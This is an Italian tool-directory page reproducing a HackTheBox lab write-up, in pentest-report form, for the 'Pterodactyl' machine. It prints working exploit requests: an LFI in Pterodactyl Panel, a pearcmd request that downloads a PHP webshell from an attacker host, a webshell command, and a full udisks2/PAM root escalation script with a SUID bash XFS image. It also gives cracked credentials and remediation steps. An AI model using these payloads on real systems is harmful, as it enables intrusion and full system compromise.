Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTB-Pterodactyl-Writeup — HackTheBox — Pterodactyl (Medium/Linux) guida. CVE-2025-49132 LFI → pearcmd RCE → cracking di bcrypt → SSH. Privilege escalation tramite CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Note complete e passaggi inclusi. | Kitploit
Strumenti/GitHubGitHub/v0idw1re/htb-pterodactyl-writeup
Password CrackingEscalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitCTF

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Penetration Testing
Apprendimento e Formazione
Lab e Pratica
GitHubv0idw1re/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

Vedi Repository
4 mesi faNon ancora revisionato

Informazioni

HackTheBox — Pterodactyl (Medium/Linux) guida. CVE-2025-49132 LFI → pearcmd RCE → cracking di bcrypt → SSH. Privilege escalation tramite CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Note complete e passaggi inclusi.

Condividi

Report di Penetration Test — HackTheBox: Pterodactyl

Data: 8 Aprile 2026
Target: Pterodactyl (HackTheBox)
Difficoltà: Media
SO: Linux (openSUSE Leap 15.6)
Tester: V0idW1re


Riepilogo Esecutivo

La macchina Pterodactyl su HackTheBox ha presentato uno scenario di attacco realistico che coinvolge un'applicazione web malconfigurata e vulnerabilità di escalation dei privilegi concatenate. Partendo da una posizione non autenticata, il tester ha raggiunto la compromissione completa di root attraverso una sequenza logica di passaggi di sfruttamento. La catena di attacco ha incluso una vulnerabilità di Local File Inclusion non autenticata, l'abuso creativo di un package manager PHP per l'esecuzione remota di codice, l'estrazione e il cracking delle credenziali, e infine il concatenamento di due CVE divulgate pubblicamente per escalare da un utente con privilegi bassi a root.


Scopo

CampoValore
IP Target10.129.25.223
Hostnamepterodactyl.htb
SOopenSUSE Leap 15.6
ServiziSSH (22), HTTP (80)
Sottodominipanel.pterodactyl.htb

Metodologia

La valutazione ha seguito una metodologia standard di penetration testing:

  1. Ricognizione ed Enumerazione dei Servizi
  2. Analisi dell'Applicazione Web
  3. Sfruttamento Iniziale
  4. Post-Sfruttamento e Movimento Laterale
  5. Escalation dei Privilegi
  6. Prova di Compromissione

Risultati

Risultato 1 — Local File Inclusion Non Autenticata (CVE-2025-49132)

Gravità: Critica
Componente: Pterodactyl Panel v1.11.10 — endpoint /locales/locale.json

Descrizione:
L'endpoint delle localizzazioni del Pterodactyl Panel non riusciva a sanitizzare i parametri della query locale e namespace, consentendo il directory traversal. Poiché l'applicazione aggiungeva .php al valore di namespace e lo caricava tramite il meccanismo di include di PHP, un attaccante poteva forzare il server a caricare ed eseguire file PHP arbitrari nel filesystem.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database

Impatto:
Le credenziali del database sono state estratte da config/database.php:

  • Username: pterodactyl
  • Password: PteraPanel
  • Database: panel

La chiave dell'applicazione Laravel è stata anch'essa estratta da config/app.php.

Evidenza:

root@kitploit:~
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}

Risultato 2 — Esecuzione Remota di Codice tramite pearcmd.php

Gravità: Critica
Componente: Installazione PHP PEAR + LFI

Descrizione:
Stabilita la primitiva LFI, il tester ha sfruttato lo script pearcmd.php del package manager PEAR. Quando la configurazione PHP ha register_argc_argv=On (confermato tramite phpinfo), la stringa di query viene interpretata come argomenti da riga di comando da pearcmd. Il comando download è stato utilizzato per recuperare una webshell PHP dal server dell'attaccante e salvarla nella directory web pubblica del pannello.

Exploit:

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php

Impatto:
Una webshell PHP è stata scritta in /var/www/pterodactyl/public/shell.php, fornendo esecuzione remota di codice non autenticata come utente wwwrun.

Evidenza:

root@kitploit:~
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)

Risultato 3 — Credenziali del Database in Chiaro e Memorizzazione Debole delle Password

Gravità: Alta
Componente: Database MySQL panel

Descrizione:
Utilizzando la shell RCE, il tester si è connesso al database MySQL usando le credenziali ottenute tramite LFI. La tabella users conteneva password bcrypt-hashed per tutti gli utenti del pannello. L'hash per l'utente phileasfogg3 è stato crackato offline utilizzando una wordlist comune.

Exploit:

root@kitploit:~
SELECT username, password FROM users;

Credenziale Crackata:

  • Username: phileasfogg3
  • Password: !QAZ2wsx

Impatto:
L'accesso SSH è stato ottenuto come phileasfogg3 e la flag utente è stata catturata:

root@kitploit:~
user.txt: 916235b4261e70fdb090402c641a7808

Risultato 4 — Bypass dei Privilegi dell'Ambiente PAM (CVE-2025-6018)

Gravità: Alta
Componente: Configurazione PAM — pam_env.so con user_readenv=1

Descrizione:
La configurazione PAM su openSUSE Leap 15.6 carica il file ~/.pam_environment dell'utente tramite pam_env.so con user_readenv=1. Impostando specifiche variabili d'ambiente in questo file, un utente SSH non privilegiato può ingannare systemd-logind e Polkit facendo credere che la sessione sia una sessione fisica attiva della console, ottenendo così i privilegi allow_active.

Exploit:

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

Dopo essersi riconnesso tramite SSH, la sessione è stata riconosciuta come Active=yes, abilitando chiamate non privilegiate ai metodi D-Bus di udisks2 che normalmente richiedono la presenza fisica sulla console.

Evidenza:

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Nessun prompt di autenticazione

Risultato 5 — Condizione di Gara nel Ridimensionamento XFS di udisks2 (CVE-2025-6019)

Gravità: Critica
Componente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize

Descrizione:
Quando udisks2 ridimensiona un filesystem XFS tramite libblockdev, monta temporaneamente l'immagine del filesystem in una directory accessibile a tutti sotto /tmp/blockdev.* senza i flag di mount nosuid e nodev. Questo crea una breve finestra di condizione di gara durante la quale qualsiasi binario SUID presente nell'immagine può essere eseguito con EUID elevato.

Un attaccante con privilegi Polkit allow_active (ottenuti tramite CVE-2025-6018) può:

  1. Creare un'immagine XFS contenente un binario bash SUID di proprietà di root
  2. Impostare un dispositivo loop tramite udisksctl loop-setup
  3. Attivare il ridimensionamento tramite D-Bus
  4. Gareggiare per eseguire il binario SUID durante la finestra di mount temporanea senza nosuid

Nota Critica sulla Compatibilità dell'Immagine XFS:
L'immagine XFS deve essere creata con flag specifici per openSUSE Leap 15.6 (SP5/SP6):

root@kitploit:~
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

Exploit:

root@kitploit:~
# Costruisce l'immagine XFS malevola (sulla macchina dell'attaccante)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt

# Sul target — gara per la finestra di ridimensionamento
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
    /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
    /org/freedesktop/UDisks2/block_devices/loop0 \
    org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0

Evidenza:

root@kitploit:~
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

Flag di Root:

root@kitploit:~
root.txt: d3a242011c18cb81f08ad80337330641

Prova di Accesso

FlagValore
user.txt916235b4261e70fdb090402c641a7808
root.txtd3a242011c18cb81f08ad80337330641

Riepilogo dell'Escalation dei Privilegi

root@kitploit:~
[Non Autenticato]
    ↓ CVE-2025-49132 (LFI)
[Credenziali Database]
    ↓ pearcmd RCE
[Shell wwwrun]
    ↓ Dump credenziali MySQL + cracking hash
[SSH phileasfogg3]
    ↓ CVE-2025-6018 (Bypass PAM → allow_active)
    ↓ CVE-2025-6019 (Condizione di gara ridimensionamento XFS udisks2)
[root]

Impatto

Compromissione completa del sistema target. Un attaccante con questo livello di accesso potrebbe:

  • Leggere, modificare o eliminare tutti i file sul sistema
  • Installare backdoor persistenti o malware
  • Pivotare verso altri sistemi sulla rete
  • Accedere a tutte le credenziali memorizzate e ai dati sensibili
  • Interrompere o manipolare i servizi ospitati

Rimedio


Questo report è stato prodotto a scopo educativo come parte di un esercizio di laboratorio HackTheBox. Tutti i test sono stati eseguiti in un ambiente di laboratorio legale e isolato.

Scarica lo strumento
RisultatoRimedio
CVE-2025-49132 (LFI)Aggiornare Pterodactyl Panel alla v1.11.11 o successiva, che applica una validazione alfanumerica rigorosa sui parametri locale/namespace
pearcmd RCEImpostare register_argc_argv=Off in php.ini; rimuovere PEAR se non necessario
Password deboleApplicare policy password forti; utilizzare un gestore di password
CVE-2025-6018 (PAM)Impostare user_readenv=0 nella configurazione PAM per pam_env.so
CVE-2025-6019 (udisks2)Aggiornare udisks2 e libblockdev alle versioni corrette; modificare la regola Polkit per org.freedesktop.udisks2.modify-device cambiando allow_active da yes a auth_admin